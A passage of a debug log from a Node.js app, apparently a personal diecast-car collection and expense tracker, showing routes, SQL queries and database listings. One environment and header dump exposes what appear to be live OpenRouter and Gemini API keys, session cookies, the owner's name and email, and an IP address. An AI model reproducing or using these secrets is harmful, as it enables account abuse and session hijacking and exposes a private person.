  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:26:32.994Z server-connect:app Executing action step select
2026-02-12T13:26:32.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:26:32.995Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:30:59.247Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:30:59.247Z server-connect:app Executing action step identify
2026-02-12T13:30:59.247Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.247Z server-connect:output identity: 1
2026-02-12T13:30:59.247Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.247Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:30:59.250Z server-connect:output restrict: undefined
2026-02-12T13:30:59.250Z server-connect:router Render template layouts/main
2026-02-12T13:30:59.250Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e17-Gm5sHKqWiNbGpTVZJ2sPTtr6Lb8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:30:59.776Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:30:59.777Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:30:59.780Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:30:59.780Z server-connect:app Executing action step identify
2026-02-12T13:30:59.780Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.780Z server-connect:output identity: 1
2026-02-12T13:30:59.780Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.780Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.782Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:30:59.783Z server-connect:output restrict: undefined
2026-02-12T13:30:59.783Z server-connect:app Executing action step single
2026-02-12T13:30:59.783Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:30:59.783Z server-connect:app Executing action step identify
2026-02-12T13:30:59.783Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.784Z server-connect:output identity: 1
2026-02-12T13:30:59.784Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.784Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.785Z server-connect:app Executing action step identify
2026-02-12T13:30:59.785Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.785Z server-connect:output identity: 1
2026-02-12T13:30:59.785Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.785Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.786Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:30:59.786Z server-connect:app Executing action step identify
2026-02-12T13:30:59.786Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.786Z server-connect:output identity: 1
2026-02-12T13:30:59.786Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.786Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.787Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:30:59.788Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:30:59.789Z server-connect:output restrict: undefined
2026-02-12T13:30:59.789Z server-connect:app Executing action step select
2026-02-12T13:30:59.789Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:30:59.790Z server-connect:app Executing action step identify
2026-02-12T13:30:59.790Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.790Z server-connect:output identity: 1
2026-02-12T13:30:59.790Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.790Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.790Z server-connect:app Executing action step identify
2026-02-12T13:30:59.790Z server-connect:app options: { provider: 'security' }
2026-02-12T13:30:59.790Z server-connect:output identity: 1
2026-02-12T13:30:59.790Z server-connect:app Executing action step restrict
2026-02-12T13:30:59.790Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:30:59.791Z server-connect:output restrict: undefined
2026-02-12T13:30:59.792Z server-connect:app Executing action step paged
2026-02-12T13:30:59.792Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:30:59.792Z server-connect:output restrict: undefined
2026-02-12T13:30:59.792Z server-connect:app Executing action step select
2026-02-12T13:30:59.792Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:30:59.794Z server-connect:output restrict: undefined
2026-02-12T13:30:59.794Z server-connect:app Executing action step select
2026-02-12T13:30:59.794Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:30:59.795Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:30:59.796Z server-connect:output restrict: undefined
2026-02-12T13:30:59.796Z server-connect:app Executing action step select
2026-02-12T13:30:59.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:30:59.797Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:30:59.799Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:30:59.802Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:30:59.803Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:30:59.805Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
